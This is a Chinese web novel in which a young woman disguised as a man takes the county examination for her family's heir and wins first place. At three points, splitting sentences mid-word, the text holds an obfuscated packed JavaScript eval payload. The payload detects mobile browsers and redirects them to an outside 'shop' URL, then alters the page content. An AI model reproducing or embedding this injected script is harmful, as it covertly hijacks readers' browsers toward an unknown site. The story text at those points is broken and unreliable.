《青梧载道》 1. 替考 江南的雨季总是来得绵长。 谢青梧跪在祠堂冰硬的石板上，已经两个时辰了。膝盖从刺痛到麻木，最后只剩下一片钝钝的沉。祠堂里只点了一盏灯，昏黄的光晕在祖宗牌位间跳跃，那些描金的字忽明忽暗，像是许多双眼睛在俯视着她。 门外有脚步声。 很轻，是女子的绣鞋踩在青砖上的声音。春杏端着热水进来时，眼睛红得厉害。 “公子……”她蹲下身，声音压得极低，“您就服个软吧，再跪下去，腿要废了。” 谢青梧没动。她看着供桌最下层那个新添的牌位，谢门林氏。那是她生母，三天前刚去。死于一场来势汹汹的风寒，也死于这深宅里经年累月的冷落。 “废不了。”她开口，声音有些哑，是刻意压低的少年音色，“他们还需要我去考试。” 春杏的泪一下子就掉下来了。 是啊，考试。 谢家的嫡长子谢明远，三日前突发急症，上吐下泻，如今还躺在床上起不来身。而三天后，就是县试开考的日子。 谢家这一辈，就两个“儿子”。嫡子谢明远，庶子谢怀瑾——也就是女扮男装的谢青梧。 “可是公子，”春杏声音发颤，“万一，万一被人发现……” “不会。”谢青梧说得平静。她维持这个身份十四年了，从记事起就知道自己是“谢怀瑾”，是谢家的庶子。束胸，压嗓，学男子的举止步态，这些事她做了十年。连她自己有时候都会恍惚，好像生来就该是这样。 祠堂外又传来脚步声。 这次很重，是男子的靴子声。门被推开，嫡母王氏站在门口，身后跟着两个婆子。她穿着深紫色的缎子袄，鬓边簪着金钗，脸上的神色比祠堂里的牌位还冷。 “想明白了没有？”王氏走进来，居高临下地看着跪在地上的人。 谢青梧抬起头：“母亲想让我明白什么？” “明白你该做什么。”王氏在旁边的太师椅上坐下，婆子立刻递上热茶，“明远病着，县试不能耽误。你是谢家子，该为家族出力。” 话说得冠冕堂皇。 谢青梧心里却清楚得很。谢明远那病来得蹊跷，十有八九是怕考不上丢人，故意把自己弄病的。而王氏要的，是谢家必须出一个有功名的人，不管这个人是嫡是庶。 “儿子愿意去考。”谢青梧说。 王氏脸上露出一丝满意的神色。 “但是，”谢青梧接着说，“儿子有三个条件。” 王氏的笑意僵住了。 “你说。” “第一，县试之后，我要搬出谢家，自立门户。”谢青梧的声音很稳，每个字都咬得清楚，“第二，我的户籍要单独立出来，名字就写谢怀瑾。第三——” 她顿了顿，看向那个新牌位。 “我娘要进祖坟，碑上刻正名，不能只写林氏。” 祠堂里静得可怕。 春杏吓得连呼吸都屏住了。那两个婆子低着头，恨不得自己没长耳朵。王氏盯着谢青梧，眼神像刀子一样刮过来。 许久，王氏才慢慢开口：“你是在跟我谈条件？” “儿子不敢。”谢青梧垂下眼睛，“只是既然要替谢家争功名，总该有些底气。不然考场上心神不宁，写不出好文章，反倒辜负了母亲的期望。” 这话说得客气，意思却明白，你不答应，我就考不好。 王氏冷笑一声：“你倒是会算计。” 她站起身，走到供桌前，拿起三炷香点燃，插进香炉里。青烟袅袅升起，模糊了牌位上的字。 “我答应你。”王氏背对着她说，“但你也记住，若是考不上，或是露了馅——” 她转过身，烛光在她脸上投下深深的阴影。 “你知道后果。” 谢青梧叩了个头：“儿子明白。” 王氏走了。祠堂里又只剩下谢青梧和春杏两个人。春杏这才敢大口喘气，慌忙去扶她：“公子，快起来，腿……” “扶我去我娘院里。”谢青梧借着她的力站起身，膝盖刺痛得让她眼前发黑，但她咬着牙没出声。 林姨娘生前住的院子很偏，离主院隔着一整个花园。如今人走了，院里更显冷清，只有廊下挂着一盏白灯笼，在风里晃。 谢青梧推开卧房的门。 屋里还保持着原样。一张简单的木床，一个梳妆台，一个衣柜。梳妆台上放着个木匣子，没上锁。谢青梧走过去打开，里面是几件不值钱的首饰，还有一本旧书。 书是《诗经》，纸页泛黄，边角都磨毛了。那是林姨娘生前最爱看的，她说女子读不懂经史子集，但总该知道“关关雎鸠”是什么意思。 谢青梧拿起书，翻开第一页。 扉页上有一行小字，是林姨娘的笔迹，写得有些歪斜，大概是病中写的：“梧儿，娘只愿你平安。” 她盯着那行字看了很久。 春杏在一旁小声说：“姨娘去之前，一直念着公子。她说对不起您，让您生为女儿身，却要过这样的日子……” “不。”谢青梧合上书，“她给了我一条活路。” 如果不是从小被当成男孩养大，她或许早就被随便许给哪个人家做妾，或是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946667|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像这宅子里其他庶女一样，关在后院等着被安排命运。 而现在，她至少能去考试。 能走出去。 “春杏。”她把书放回匣子里，“去把我那些备考的书都收拾出来。还有，把我前些日子做的束胸衣拿出来，再检查一遍。” 春杏应了声，犹豫着问：“公子，您真的要去考吗？万一……” “没有万一。”谢青梧望向窗外。雨还在下，细细密密的，把庭院里的青石板洗得发亮。 “我要去考。” 不仅要考，还要考好。 谢家需要一个功名，她也需要。那是她脱离这个牢笼的唯一机会，是她能堂堂正正站在阳光下的第一步。 至于以后—— 她想起去年偷偷溜出府，在街市上看到的那些女子。卖花的姑娘被醉汉调戏不敢吭声，布庄的老板娘被丈夫当众打骂，桥头有个妇人抱着孩子在哭，听说是生不出儿子被休了。 这世道对女子太苛刻。 她想做点什么。 哪怕只是很小的一点改变。 “公子。”春杏抱着书和衣服回来，眼圈又红了，“您一定要小心。” 谢青梧接过那件特制的束胸衣。白色的细棉布，里层加了软革，边缘缝得密密实实。她摸了摸，确认没有任何破绽。 “我知道。”她说。 窗外传来打更的声音。 三更天了。 离天亮还有两个时辰，离县试开考还有三天。 时间很紧。 但够用了。 谢青梧换上衣衫，对镜整理仪容。镜中的少年眉眼清秀，身形单薄，但因为刻意训练的挺拔姿态，并不显得女气。她试着笑了笑，嘴角扬起的弧度恰到好处，温和而不失力度。 像读书人该有的样子。 像谢怀瑾该有的样子。 “春杏。”她转身，“我娘那本《诗经》，帮我收好。” “公子要带着？” “不带。”谢青梧说，“等我考完了，回来取。” 等她有了功名，有了自立门户的资格，就能正大光明地把母亲的牌位请进祖坟，把母亲的遗物好好保管。 而不是像现在这样，连一本旧书都要藏着掖着。 雨渐渐小了。 天边泛起一点灰白。 谢青梧吹熄了灯，走出房门。祠堂方向传来早起的下人打扫的声音，主院那边也有了动静。 她深吸一口气，挺直脊背，朝着自己的院子走去。脚步踏在湿漉漉的青石板上，发出清晰的声响，一步，又一步。 2. 备试 天还没亮透，春杏就醒了。 她轻手轻脚爬起来，看向里间。谢青梧已经坐在妆台前，背挺得笔直。 “公子，”春杏揉着眼睛走过去，“您一夜没睡？” “睡了会儿。”谢青梧声音有点哑，她清了清嗓子，“打盆冷水来。” 春杏打了水回来，看见谢青梧正对着一面小铜镜比划。她把长发全部束到头顶，用布条扎紧，露出完整的脖颈。 “这样行吗？”谢青梧侧过头。 春杏愣了下。 明明还是那张脸，可头发全梳上去后，轮廓硬朗了不少。尤其是那截脖颈，白皙修长，喉结处……没有喉结。 谢青梧显然也想到了这点。她伸手摸了摸自己的脖子，眉头微皱。 “得想个办法。” 春杏小声道：“要不，围个围巾？” “夏天了，围围巾更奇怪。”谢青梧放下手，“穿高领的衣服，尽量少抬头。” 她站起来，走到衣柜前。里面没几件衣服，大多是生母留下的旧衣，颜色素净。她翻了半天，找出一件浅青色的交领长衫，领子比平常的高些。 “就这件。” 春杏帮她换上。衣服有些宽大，显得人更瘦了。谢青梧把腰带系紧，在镜子前转了一圈。 “还是太……”春杏不知道怎么形容。 太秀气。太单薄。怎么看都不像个要考科举的少年郎。 谢青梧没说话。她走回妆台前，拿起一截烧剩的眉笔，那是林姨娘留下的，她一直舍不得用。就着铜镜，她开始描眉。 不是女子那种弯弯细细的眉，而是男子的剑眉。她画得很慢，一笔一笔，眉形渐渐锋利起来。 春杏在一旁看着，眼睛越睁越大。 等谢青梧放下眉笔，镜子里的人已经变了样。眉毛浓了，眼神也跟着变了，那股子柔顺劲儿没了，取而代之的是……是什么，春杏说不上来，只觉得不敢多看。 “束胸。”谢青梧说。 春杏脸一红，赶紧去拿准备好的布条。那是昨晚她们连夜改的，用旧床单撕成长条，边缘缝了软布，怕磨破皮。 谢青梧脱了外衣，只留一件中衣。春杏帮她缠的时候，手都在抖。 “紧一点。”谢青梧说。 “可是……” “紧。” 春杏咬牙，用力拉紧布条。一层，两层，三层……缠到第五层时，谢青梧呼吸已经开始发沉。 “公子，够了……” “继续。” 缠到第八层，胸前终于平坦了。谢青梧对着镜子看了看，又让春杏在肩背处多缠了两层，让身形看起来厚实些。 穿回外衣时，她额头上全是汗。 “这样行吗？”春杏担忧地问。 谢青梧没回答。她走到屋子中间，站定，深深吸了口气——吸到一半就停了，束胸勒得太紧。 她开始练习走路。 男子怎么走路？她回忆着谢明远的样子。肩要打开，背要挺直，步子要大，落脚要沉。不能像女子那样小步轻挪，更不能低头含胸。 第一次走，脚步虚浮。 第二次，好一点。 第三次，第四次……走到第十次时，春杏眼睛亮了。 “像了！” 谢青梧停住，微微喘气。她走到镜前，看着里面的自己。 青衣，束发，平胸，阔步。 还是个清瘦少年，但至少，不会让人一眼就想到女子。 “声音。”她想起最关键的事。 昨晚她就试过，把嗓音压低了说话。可压太低显得刻意，压不够又还是女声。得找个恰好的位置。 她走到窗边，推开窗。清晨的空气涌进来，带着雨后的潮湿。 “啊——” 她试着发声，从高到低。 “啊——啊——” 春杏捂住耳朵：“公子，小声点……” 谢青梧没理她。她继续试，像在找什么调子。试了快一刻钟，终于找到一个音域，不高不低，清亮中带着点沙哑，像少年变声期的嗓音。 “春杏。” “在。” “听着像男子吗？” 春杏仔细听了听，点头：“像，就是……就是有点怪。” “怪就对了。”谢青梧说，“若是太完美，反而可疑。” 她关上门，在屋里来回走动，一边走一边用新练的嗓音说话。 “在下谢怀瑾。” “学生见过先生。” “这篇文章，学生有些拙见……” 她说得很慢，每个字都刻意调整发音位置。说到后来，嗓子开始发干发痒。 春杏赶紧倒了水递过来。谢青梧喝了一口，继续练。 就这么练了一个时辰。 日头升起来的时候，外面传来脚步声。春杏脸色一变，小跑着到门边听。 “是大公子那边的人……”她回头，声音发紧。 谢青梧迅速走到书桌前坐下，拿起一本书。刚坐定，门就被敲响了。 “二公子在吗？”是个婆子的声音，语气不怎么客气。 春杏看了眼谢青梧，见她点头，才去开门。 门外站着个穿褐色衣裳的婆子，是王氏身边的周嬷嬷。她手里端着个托盘，上面放着笔墨纸砚。 “夫人让送来的。”周嬷嬷眼睛往屋里扫，“二公子准备得如何了？” 谢青梧放下书，起身拱了拱手 “有劳嬷嬷回禀母亲，学生正在温书。” 她说话时用了新练的嗓音，不高不低，清凌凌的。 周嬷嬷愣了愣，盯着她看了好几眼。 “二公子声音怎么了？” “昨夜染了风寒。”谢青梧又咳嗽两声，“不碍事。” 周嬷嬷眼神狐疑，但没再多问。她把托盘放在桌上，临走前又说：“夫人说了，这几日二公子就在院里温书，别到处走动。吃的用的，会让人送来。” 这是要软禁了。 谢青梧面色不变：“学生明白。” 等周嬷嬷走了，春杏关上门，背靠在门上，长长出了口气。 “吓死我了……” 谢青梧走到桌边，看着托盘里的东西。上好的湖笔，徽墨，宣纸。王氏这次倒是舍得下本钱。 “公子，她是不是怀疑了？”春杏小声问。 “怀疑也正常。”谢青梧拿起一支笔，在手里转了转，“突然要替考，总要看看我有没有这个本事。” “那怎么办？” “考给她看。” 谢青梧坐下，铺开纸。她没急着写，而是闭眼想了想。 县试考什么？四书文，试帖诗，还有策论。四书文她倒背如流，试帖诗也不难。最难的是策论，要结合时务，要有见解。 她睁开眼，蘸墨，落笔。 题目是现想的：论农桑为本。 这是最常见的题目，也是最容易写出新意的。她写得很快，几乎不用思考。这些年偷读的那些书，那些偷偷写下的文章，此刻都化作字句，从笔尖淌出来。 春杏在一旁磨墨，不敢出声。 写到一半时，外面又传来脚步声。这次更重，还夹杂着说话声。 谢青梧笔尖一顿。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946668|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开门！我找二弟！”是谢明远的声音，中气十足，哪像什么“突发恶疾”。 春杏脸白了：“公子，他……” 谢青梧放下笔，站起身。她整理了下衣襟，确定束胸没有松动，才朝春杏点点头。 门开了。 谢明远站在外面，一身锦袍，脸色红润。他身后跟着两个小厮，都是惯常欺负谢青梧的那两个。 “二弟真是刻苦啊。”谢明远笑着走进来，眼睛在屋里扫了一圈，“为兄看看你的备考文章？” 他说话时，目光落在谢青梧脸上，带着毫不掩饰的审视。 谢青梧垂眸：“兄长病体未愈，还是该多休息。” “无妨无妨。”谢明远摆摆手，径直走到书桌前，拿起那篇写了一半的文章。 看了几行，他脸色变了。 又看几行，他抬头看谢青梧，眼神复杂。 “这是你写的？” “是。” 谢明远盯着她，像是第一次认识这个庶妹。过了好一会儿，他忽然笑了，笑得有点冷。 “写得不错。”他把文章放下，“看来母亲没选错人。” 他走近两步，离谢青梧很近。 太近了。近到谢青梧能闻到他身上的熏香味，能看见他眼里那种居高临下的神色。 “就是这身板，”谢明远伸手，拍了拍谢青梧的肩膀，“太单薄了些。” 他的手往下滑，落在谢青梧手臂上，捏了捏。 “读书人也不能太弱，对吧？” 谢青梧全身绷紧。 那只手还在往下，眼看就要碰到侧胸—— 她猛地咳嗽起来。 咳得撕心裂肺，整个人都弯下腰去，一边咳一边往后退。 “兄长……离远些……”她断断续续地说，“我这风寒……易过人……” 谢明远皱眉，下意识后退一步。 两个小厮也跟着退。 谢青梧咳了好一会儿才缓过来，眼眶都咳红了。她掏出帕子捂嘴，声音虚弱：“传染给兄长就不好了……县试在即，兄长可不能病……” 谢明远盯着她看了半晌。 “那你好好养着。”他终于说，语气有点悻悻的，“三日后，我让人送你去考场。” 他转身走了。两个小厮跟着离开，其中一个临走前还回头看了一眼。 等脚步声远了，春杏赶紧关上门。 谢青梧还弯着腰，保持着咳嗽的姿势。春杏跑过去扶她，碰到她手臂时，发现她在发抖。 不是怕的。 是气的。 “公子……”春杏声音带了哭腔。 谢青梧直起身。她脸上没什么表情。 “没事。”她说，声音已经恢复了平静。 她走到水盆边，掬水洗了把脸。冷水扑在脸上，那股发抖的劲儿慢慢压下去了。 “春杏。” “在。” “把文章写完。”谢青梧走回书桌前，重新坐下，“然后，我们继续练。” “练什么？” “练怎么当个男人。” 她提起笔，笔尖悬在纸上，墨将滴未滴。 窗外有鸟叫，清脆悦耳。 谢青梧听着那声音，想起林姨娘说过的话。姨娘说，梧儿，女子这辈子，太难了。 是啊，太难了。 所以她要走一条从来没人走过的路。 笔尖落下，字迹工整锋利： “民以食为天，农桑者，国之根本也……” 她写得认真，每一笔都用力。 好像写的不是文章，是往后余生的路。 3. 县试 天刚蒙蒙亮，谢青梧就醒了。 春杏已经准备好热水和早饭，一碗稀粥，两个馒头，一小碟咸菜。谢青梧吃得很快，吃完后仔细漱口，又用冷水洗了脸。 “东西都备齐了？”她问。 春杏点头，把考篮拿过来检查：笔墨纸砚，水囊，一小包干粮，还有一盒薄荷膏。 “周嬷嬷天没亮就送来了。”春杏小声说，“说是夫人嘱咐的。” 谢青梧打开考篮，看见最上面放着几张银票，面额不大，但足够用了。王氏想得倒是周到。 “换上吧。”她指指床上那套新衣裳。 淡青色的细布长衫，料子普通，但干净整齐。谢青梧穿上后，春杏帮她系好腰带，又把头发重新束了一遍，这次束得更紧，一丝碎发都不留。 镜子前，谢青梧最后检查了一遍。 束胸缠得平整，领口扣到最上面一颗。眉毛描得英气，脸上还特意扑了点灰，让肤色看起来暗些。她试着走了几步，步子沉稳，肩膀打开。 像了。 至少表面上像了。 “走吧。”她说。 春杏送她到院门口，眼睛红红的：“公子，您一定小心……” “放心。”谢青梧接过考篮，头也不回地往外走。 前院已经有人等着。是个面生的管事，见了她只点点头：“二公子随我来。” 马车候在侧门，不起眼的青布小车。谢青梧上去坐定，帘子放下，隔绝了外面的视线。 车轮转动，碾过青石板路。 她掀开帘子一角，看着窗外渐渐亮起来的天。街上人还不多，偶尔有赶早市的摊贩推着车经过。一切都很平常。 可她的手心在出汗。 马车停在县衙后街。管事低声说：“到了，二公子自己过去吧。考完还在这儿等。” 谢青梧下了车。 县衙前已经聚了不少人，都是来应考的学子。有的三五成群说着话，有的独自站着温书，还有的一脸紧张，不停擦汗。 她深吸一口气，提着考篮走了过去。 人群里有人看她一眼，又移开视线。她这样的清瘦少年并不显眼，扔进人堆里就找不着了。 直到一个声音响起。 “这位兄台，也是来应考的？” 谢青梧转头，看见个穿洗得发白的蓝布衫的少年，年纪和她相仿，脸上带着笑，眼神干净。 “是。”她压低嗓音回答。 “在下周子砚。”少年拱手，“青山县人。” “谢怀瑾。”她回礼，“本地人。” 周子砚眼睛亮了：“原来是同乡。谢兄看着面生，是第一次考？” “是。” “我也是。”周子砚笑起来，露出一口白牙，“心里没底，看见谢兄就觉得亲近，咱们都是头一回，互相照应着点。” 谢青梧点点头，没说话。 周子砚也不介意，自顾自说起来：“我天没亮就来了，排了半个时辰队。听说今年县试严，搜身特别仔细……” 正说着，前面队伍动了。 衙役开始吆喝：“排好队！一个个来！” 人群骚动起来。谢青梧跟着队伍往前挪，手心又冒汗了。 搜身棚就在前面，布帘子挡着，看不清里面。但能听见声音。 “解开发髻！” “张开手臂！” “鞋脱了！” 轮到的人进去，很快就出来，脸色都不太好看。有个年纪大的考生被要求脱了外衣，只穿中衣站在那儿，冻得直哆嗦。 谢青梧心跳越来越快。 束胸缠得很紧，紧到她呼吸都有点困难。但这时候不能松，一丝破绽都不能有。 前面还剩三个人。 两个。 一个。 “下一个！” 谢青梧深吸一口气，掀开帘子走进去。 棚里光线暗，只有一盏油灯。两个衙役站在那儿，一个高瘦，一个矮胖。高瘦的那个就是王二，一脸不耐烦。 “名字。”矮胖衙役问。 “谢怀瑾。” “考牌。” 谢青梧递上考牌——那是王氏昨天弄来的。 矮胖衙役看了看，没说什么，递给王二。 王二眯眼看她：“抬头。” 谢青梧抬头，目光平视。 “转一圈。” 她慢慢转了一圈，动作平稳。 王二走近了，开始搜身。手拍在她肩膀上，顺着胳膊往下，到手腕，停住。 “手伸开。” 谢青梧张开手。手心有薄茧，是常年写字磨出来的。 王二捏了捏她的手指，又往下，拍她后背，腰间。每一处都拍得很重，像是在确认什么。 谢青梧一动不动。 心跳声在耳边轰响，但她脸上什么表情都没有。 王二的手来到她胸前。 停了停。 谢青梧屏住呼吸。 就在这时候，外面突然传来喊声：“王二！磨蹭什么！后面还有几十号人呢！” 王二啧了一声，草草拍了两下她前胸，手就移开了。 “行了，进去吧。” 谢青梧提起考篮，转身往外走。步子稳，不快不慢。 掀开帘子出去时，清晨的光刺得她眯了眯眼。 过了。 她跟着引导的衙役往里走，穿过一道门，眼前是个大院子。院子里整齐排着许多小隔间，那就是号舍了。 她的号舍在中间位置，不大，刚好能坐下一个人。里面有张小桌，一把椅子，墙上有个小窗。 谢青梧走进去，放下考篮。 手还在抖。 她握住拳头，用力捏了捏，直到发抖的感觉消失。 考生陆续进场。她看见周子砚也进来了，号舍在她斜对面。周子砚朝她笑了笑，她点点头回应。 钟声响起。 考官入场了。走在前头的是个中年文士，穿青色官服，面容严肃。谢青梧认出那是主考官李庸，本县县令。 李庸走到院子中央，扫视一圈。 “县试规矩，想必诸位都清楚。”他声音洪亮，“本官只说三点。一，不得舞弊。二，不得喧哗。三，不得提前交卷。” “开考——” 试卷发下来。谢青梧接过，平铺在桌上。 第一场考四书文。题目是：“君子喻于义，小人喻于利。” 很常见的题目。她提笔蘸墨，略一思索，开始写。 笔尖落在纸上，发出沙沙的轻响。周围很安静，只有偶尔的咳嗽声，翻纸声。 她写得很快，几乎不用多想。这些句子在她心里已经滚过无数遍，现在不过是誊写出来。 写到一半时，斜对面忽然传来一声闷响。 谢青梧抬头，看见周子砚的号舍里，人影晃了晃，然后重重倒了下去。 周围考生都抬起头，有人惊呼。 衙役跑过去查看，很快喊起来：“大人！有人晕倒了！” 李庸皱眉走过来：“怎么回事？” “像是突发急症！”衙役喊，“口吐白沫了！” 李庸快步走过去。谢青梧也站起身，隔着号舍的木板，看见周子砚倒在地上，身体抽搐，牙关紧咬。 “让开！”李庸蹲下查看，脸色变了，“这是癔症，会咬断舌头！” 周围考生都慌了，有人往后退。 谢青梧看着周子砚那张因为痛苦而扭曲的脸，想起春杏说翠儿投井那晚，也是这样抽搐着沉下去。 她突然推开号舍的门，走了出去。 “你做什么！”衙役拦住她。 “我会救。”谢青梧声音不大，但清晰。 李庸抬头看她：“你会？” “家母生前有过这病，我知道怎么处置。” 李庸盯着她看了两秒，让开位置。 谢青梧快步走过去，蹲下。周子砚的牙齿咬得咯咯响，嘴角已经有血沫。她四下看了看，看见旁边号舍桌上有支毛笔。 她抓起毛笔，横着塞进周子砚嘴里。 “按住他。”她对衙役说。 两个衙役过来按住周子砚乱蹬的腿。谢青梧伸手按住他人中，用力。 一下，两下，三下。 周子砚的抽搐渐渐缓了。他睁开眼睛，眼神涣散，然后慢慢聚焦。 谢青梧松了口气，拔出毛笔。笔杆上已经留下深深的牙印。 “扶他坐起来。”她起身，对衙役说。 李庸一直看着她。 “你叫什么名字？”他问。 “学生谢怀瑾。” 李庸点点头，没说什么，转身对衙役道：“送他去后堂休息，请大夫来看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946669|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 周子砚被扶走了。临走前，他看了谢青梧一眼，眼神复杂。 谢青梧回到自己号舍，坐下。 手又有点抖。这次不是因为紧张，是因为刚才用力过度。 她活动了下手指，重新提起笔。 周围考生都在看她，眼神各异。她一概不理，埋头继续写文章。 写到收尾处，一滴汗从额角滑落，滴在纸上，正好落在“义”字旁边。 墨迹晕开一小团。 谢青梧顿了顿，看着那团污迹。 然后她提起笔，就着那团墨，勾勒几笔。 一座山的轮廓出来了。 再几笔，山下添了条河。 她在旁边继续写：“如山之重，如水之长。义者，君子之山；利者，小人之流。山不动而水流逝，故君子常存，小人易迁……” 她把那团污迹，化成了文章里的意象。 写完最后一个字，她放下笔。 钟声再次响起。 “收卷——” 衙役开始收卷子。收到谢青梧这时，那衙役多看了一眼她的卷子，看到纸上那幅小画，愣了一下。 卷子全部收走。考生们陆续起身，有的垂头丧气，有的神色轻松。 谢青梧收拾好东西，提着考篮往外走。 在门口，她遇见了李庸。 李庸正在跟师爷说话，看见她，停了停。 “谢怀瑾。”他叫住她。 “学生在。” “今日救人，做得不错。”李庸看着她，“不过考试就是考试，下次再有这种事，让衙役处置便是。” “学生明白。” 李庸又看了她一会儿，忽然问：“你那幅画，是临时起意，还是早有打算？” 谢青梧低头：“学生只是觉得，污迹亦是天意，不如顺势而为。” “顺势而为……”李庸重复了一遍，点点头，“去吧。明日第二场，别迟了。” “谢大人。” 谢青梧转身离开。 走出县衙时，天已经大亮。阳光刺眼，她眯了眯眼睛。 马车还等在老地方。她上去坐定，帘子放下，才长长吐出一口气。 后背全湿了。 她靠在车壁上，闭上眼睛。 第一天，过了。 明天还有第二场，第三场……但至少今天，她迈出了第一步。 马车摇摇晃晃往前走。 谢青梧睁开眼，掀开帘子一角，看着外面熙熙攘攘的街市。 有妇人抱着孩子在买菜，有老汉挑着担子叫卖，有姑娘结伴走过，笑声清脆。 平常的人间烟火。 她看了很久，直到眼睛有点发酸，才放下帘子。 回到谢府，春杏早在院门口等着。看见她下车，眼睛一下就红了。 “公子……” “没事。”谢青梧说，“考得还行。” 春杏接过考篮，跟着她进院，关上门，才小声问：“没出岔子吧？” “没有。”谢青梧脱下外衣，松开腰带，“就是救了个同考。” 她把事情简单说了。春杏听得脸色发白：“您也太冒险了……” “不救，他可能就死了。”谢青梧走到屏风后，开始解束胸。 布条一层层松开，呼吸终于顺畅了。她低头看了看，皮肤上已经勒出红痕。 “明天还得缠。”她低声说。 春杏端来热水，帮她擦身。水温合适，毛巾柔软，可擦到红痕处时，还是疼。 谢青梧咬着牙没出声。 擦完身，换上家常衣服，她走到书桌前坐下。 “公子不歇会儿？”春杏问。 “歇会儿，然后温书。”谢青梧翻开书，“明天考诗赋，得准备准备。” 她看了几行字，忽然想起什么。 “那个周子砚……应该没事吧。” “公子还惦记他呢。”春杏嘟囔。 谢青梧没说话。 她想起周子砚倒下去的样子，想起他那双干净的眼睛。 寒门子弟，不容易。 和她一样，想走科举这条路改变命运的人。 她摇摇头，把杂念甩开，继续看书。 窗外日头渐渐西斜。 谢青梧的影子投在墙上，拉得很长。 安静，坚定。 4. 放榜 放榜那天，春杏天没亮就醒了。 她轻手轻脚爬起来，看见谢青梧已经坐在窗前，手里拿着本书，半天没翻一页。 “公子，”春杏小声问，“您也紧张？” 谢青梧合上书：“说不紧张是假的。” 三天考试，她每一场都尽了全力。四书文写得工整，诗赋也还过得去，策论那道“论农桑为本”，她更是把这些年偷看的那些书，那些冷夜里写的文章，都融了进去。 可结果如何，终究不由她定。 “早饭吃什么？”春杏转移话题，“粥还是面？” “都不想吃。”谢青梧站起来，“换衣服吧，早点去。” 还是那件淡青色长衫，束胸缠得比考试时松了些，但依然平整。春杏帮她束发时，手有点抖。 “别紧张。”谢青梧反倒安慰她，“中了是运，不中也是命。” 话是这么说，可她知道，不中的话，王氏那边就不好交代了。 收拾妥当，出门。 天刚蒙蒙亮，街上已经有人了。卖早点的摊子支起来，热气腾腾的。谢青梧没坐车，走着去的。她想走走，理理思绪。 县衙门口早就聚满了人。 黑压压一片，都是来看榜的考生和家人。有人搓着手来回踱步，有人仰着脖子往墙上张望——虽然榜还没贴出来。 谢青梧找了个角落站着，离人群稍远些。 她看见周子砚也在，还是那身洗得发白的蓝布衫，站在人群最前面，脖子伸得老长。 “谢兄！” 周子砚看见她，挤过来，脸上带着笑：“你也来这么早。” “睡不着。”谢青梧实话实说。 “我也是。”周子砚搓搓手，“昨天一宿没睡好，梦里全是考试的事。对了，那天多谢你救我，大夫说再晚一点，我可能就……” 他顿住，没往下说，只是郑重地拱了拱手。 “举手之劳。”谢青梧回礼。 “对你来说是举手之劳，对我可是救命之恩。”周子砚认真道，“等放榜后，无论如何，我请你吃顿饭。” 正说着，县衙大门开了。 人群骚动起来。 两个衙役走出来，一个端着浆糊桶，一个捧着卷起来的红纸。他们在照壁前站定，刷浆糊，贴榜。 动作很慢。 慢得让人心焦。 红纸展开，第一排名字露出来。有人已经念出声：“第一名，谢怀瑾——” 谢青梧呼吸一滞。 周围瞬间安静了，所有人都往榜上看。 红纸继续展开，完整的榜单露出来。密密麻麻的名字，按名次排列。 谢怀瑾三个字，赫然排在首位。 案首。 谢青梧站在原地，没动。 耳边传来各种声音。有叹息，有欢呼，有不敢置信的嘀咕。周子砚猛拍她肩膀：“谢兄！案首！你是案首！” 她这才回过神。 “我……看见了。” 声音有点哑，她清了清嗓子。 “恭喜谢兄！”周围有认识不认识的考生都围过来，拱手道贺。案首啊，县试第一，这可不是小事。 谢青梧一一回礼，脸上带着恰到好处的笑，不张扬，也不过分谦虚。 她看向榜单，往下找。 找到了。周子砚，第二十七名。中了。 周子砚自己也看见了，愣在那里，嘴唇动了动，没说出话。眼圈却红了。 “恭喜。”谢青梧对他说。 周子砚用力点头，声音哽咽：“中了……我中了……我娘要是知道……” 他没说下去，抬手用力抹了把脸。 人群渐渐散去，有中的欢天喜地，没中的垂头丧气。谢青梧正准备走，一个衙役走过来。 “谢怀瑾谢公子？” “正是。” “县令大人请您去后堂一趟。” 谢青梧心头一跳。 周子砚担忧地看着她。她摇摇头，示意没事，跟着衙役往里走。 穿过前衙，来到后堂。李庸已经等在那里，换了身常服，正端着茶盏喝茶。 “学生见过大人。”谢青梧行礼。 李庸放下茶盏，打量她。 “坐。” 谢青梧在旁边的椅子上坐下，只坐半边，背挺直。 “你今年多大？”李庸问。 “十四。” “十四岁的案首。”李庸点点头，“文章我看了，写得不错。尤其是那篇策论，‘农桑为本’，切入点很好，条理也清晰。” “谢大人夸奖。” “不过——”李庸话锋一转，“有句话我得问问你。” 谢青梧抬眼。 “你那句‘妇功桑织亦为国用’，是什么意思？” 来了。 谢青梧早有准备。她当时写的时候就知道，这句话可能会引人注意。女子之事，本不该出现在科举文章里。 “学生以为，”她缓缓道，“农桑之事，不止男子田间劳作。女子采桑养蚕，纺线织布，亦是生产。若只计男工，不计女工，则国用统计不全，政策或有偏颇。” 